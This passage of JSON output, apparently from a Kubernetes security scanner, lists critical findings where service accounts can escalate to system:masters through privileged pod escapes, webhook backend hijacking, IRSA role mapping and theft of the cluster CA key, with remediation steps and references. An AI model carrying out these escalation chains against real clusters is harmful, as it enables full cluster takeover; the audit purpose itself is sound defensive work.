      "Acting as `User/arn:aws:iam::123456789012:role/AdministratorAccess`, the attacker uses the `aws_auth_admin` technique via `system:masters via aws-auth`, which gains external IAM principal arn:aws:iam::123456789012:role/AdministratorAccess is mapped to system:masters via aws-auth.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. irsa_assume_role [arn:aws:iam::123456789012:role/AdministratorAccess]",
        "2. aws_auth_admin [system:masters via aws-auth]"
      ],
      "first_action": "irsa_assume_role",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "irsa_assume_role",
        "aws_auth_admin"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `arn:aws:iam::123456789012:role/AdministratorAccess` that enables the first hop (`ServiceAccount/cloud-eks-test/eks-admin-irsa` → `User/arn:aws:iam::123456789012:role/AdministratorAccess`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `arn:aws:iam::123456789012:role/AdministratorAccess` that enables the first hop (`ServiceAccount/cloud-eks-test/eks-admin-irsa` → `User/arn:aws:iam::123456789012:role/AdministratorAccess`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "irsa_assume_role",
        "technique": "KUBE-CLOUD-IRSA",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "eks-admin-irsa",
          "namespace": "cloud-eks-test"
        },
        "to_subject": {
          "kind": "User",
          "name": "arn:aws:iam::123456789012:role/AdministratorAccess"
        },
        "permission": "arn:aws:iam::123456789012:role/AdministratorAccess",
        "gains": "ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA"
      },
      {
        "step": 2,
        "action": "aws_auth_admin",
        "technique": "KUBE-CLOUD-AWSAUTH",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "User",
          "name": "arn:aws:iam::123456789012:role/AdministratorAccess"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "system:masters via aws-auth",
        "gains": "external IAM principal arn:aws:iam::123456789012:role/AdministratorAccess is mapped to system:masters via aws-auth"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/cutres/cutres-doublebind:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "CRITICAL",
    "score": 8.799999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/cutres/cutres-doublebind` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/cutres/cutres-doublebind` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/cutres/cutres-doublebind` → `/` via `pod_create_privileged_escape` (create pods (Pod Security Admission does not block privileged)): can create a privileged pod that escapes to the node\n  2. `ServiceAccount/cutres/cutres-doublebind` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-doublebind",
      "namespace": "cutres"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/cutres/cutres-doublebind` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/cutres/cutres-doublebind`.",
      "Acting as `ServiceAccount/cutres/cutres-doublebind`, the attacker uses the `pod_create_privileged_escape` technique via `create pods (Pod Security Admission does not block privileged)`, which gains can create a privileged pod that escapes to the node.",
      "Acting as `ServiceAccount/cutres/cutres-doublebind`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_privileged_escape [create pods (Pod Security Admission does not block privileged)]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "pod_create_privileged_escape",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "pod_create_privileged_escape",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `create pods (Pod Security Admission does not block privileged)` that enables the first hop (`ServiceAccount/cutres/cutres-doublebind` → `/`). Evaluated cut: removing this subject from the `cutres-pod-creator-a` binding that grants hop 1. A route to the same sink survives that cut.",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `create pods (Pod Security Admission does not block privileged)` that enables the first hop (`ServiceAccount/cutres/cutres-doublebind` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_privileged_escape",
        "technique": "KUBE-PRIVESC-002",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-doublebind",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create pods (Pod Security Admission does not block privileged)",
        "gains": "can create a privileged pod that escapes to the node",
        "source_binding": "cutres-pod-creator-a",
        "source_role": "cutres-pod-creator",
        "binding_namespace": "cutres-pods-a"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-doublebind",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "alternate_escalation_path": [
      {
        "step": 1,
        "action": "pod_create_privileged_escape",
        "technique": "KUBE-PRIVESC-002",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-doublebind",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create pods (Pod Security Admission does not block privileged)",
        "gains": "can create a privileged pod that escapes to the node",
        "source_binding": "cutres-pod-creator-b",
        "source_role": "cutres-pod-creator",
        "binding_namespace": "cutres-pods-b"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-doublebind",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters",
      "privesc:survives-first-cut"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/foothold-fixtures/foothold-priv:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "CRITICAL",
    "score": 8.799999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/foothold-fixtures/foothold-priv` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/foothold-fixtures/foothold-priv` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/foothold-fixtures/foothold-priv` → `/` via `pod_host_escape` (privileged): runs in pod foothold-fixtures/foothold-priv-app-568f779db7-7psgh with privileged\n  2. `ServiceAccount/foothold-fixtures/foothold-priv` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-priv",
      "namespace": "foothold-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/foothold-fixtures/foothold-priv` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/foothold-fixtures/foothold-priv`.",
      "Acting as `ServiceAccount/foothold-fixtures/foothold-priv`, the attacker schedules a pod with host-level access (`privileged: true`, `hostPath: /`, `hostPID`, or `hostNetwork`) and escapes onto the underlying node. From there they read every co-located pod's filesystem, every projected ServiceAccount token on that node, and the kubelet's client cert.",
      "Acting as `ServiceAccount/foothold-fixtures/foothold-priv`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_host_escape [privileged]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "pod_host_escape",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "pod_host_escape",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `privileged` that enables the first hop (`ServiceAccount/foothold-fixtures/foothold-priv` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `privileged` that enables the first hop (`ServiceAccount/foothold-fixtures/foothold-priv` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_host_escape",
        "technique": "KUBE-ESCAPE",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-priv",
          "namespace": "foothold-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "privileged",
        "gains": "runs in pod foothold-fixtures/foothold-priv-app-568f779db7-7psgh with privileged"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-priv",
          "namespace": "foothold-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/hookbackend-fixtures/hookbackend-operator:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "CRITICAL",
    "score": 8.799999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/hookbackend-fixtures/hookbackend-operator` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/hookbackend-fixtures/hookbackend-operator` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/hookbackend-fixtures/hookbackend-operator` → `/` via `control_plane_backend_hijack` (write services + read secrets in hookbackend-fixtures): can take over the backend of MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in namespace hookbackend-fixtures, which the API server calls with its own credentials\n  2. `ServiceAccount/hookbackend-fixtures/hookbackend-operator` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "hookbackend-operator",
      "namespace": "hookbackend-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/hookbackend-fixtures/hookbackend-operator` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/hookbackend-fixtures/hookbackend-operator`.",
      "Acting as `ServiceAccount/hookbackend-fixtures/hookbackend-operator`, the attacker takes over a Service the API server itself calls (`write services + read secrets in hookbackend-fixtures`): it steers the Service's traffic to a pod it controls and presents the backend's serving certificate, which the namespace's Secrets or pods hand it. Every request the API server sends that backend, admission reviews or aggregated API calls carrying the API server's own credentials, now arrives at the attacker.",
      "Acting as `ServiceAccount/hookbackend-fixtures/hookbackend-operator`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. control_plane_backend_hijack [write services + read secrets in hookbackend-fixtures]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "control_plane_backend_hijack",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "control_plane_backend_hijack",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `write services + read secrets in hookbackend-fixtures` that enables the first hop (`ServiceAccount/hookbackend-fixtures/hookbackend-operator` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `write services + read secrets in hookbackend-fixtures` that enables the first hop (`ServiceAccount/hookbackend-fixtures/hookbackend-operator` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "control_plane_backend_hijack",
        "technique": "KUBE-PRIVESC-038",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "hookbackend-operator",
          "namespace": "hookbackend-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write services + read secrets in hookbackend-fixtures",
        "gains": "can take over the backend of MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in namespace hookbackend-fixtures, which the API server calls with its own credentials"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "hookbackend-operator",
          "namespace": "hookbackend-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/local-path-storage/local-path-provisioner-service-account:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "CRITICAL",
    "score": 8.799999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/local-path-storage/local-path-provisioner-service-account` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/local-path-storage/local-path-provisioner-service-account` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/local-path-storage/local-path-provisioner-service-account` → `/` via `pod_create_privileged_escape` (create pods (Pod Security Admission does not block privileged)): can create a privileged pod that escapes to the node\n  2. `ServiceAccount/local-path-storage/local-path-provisioner-service-account` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is 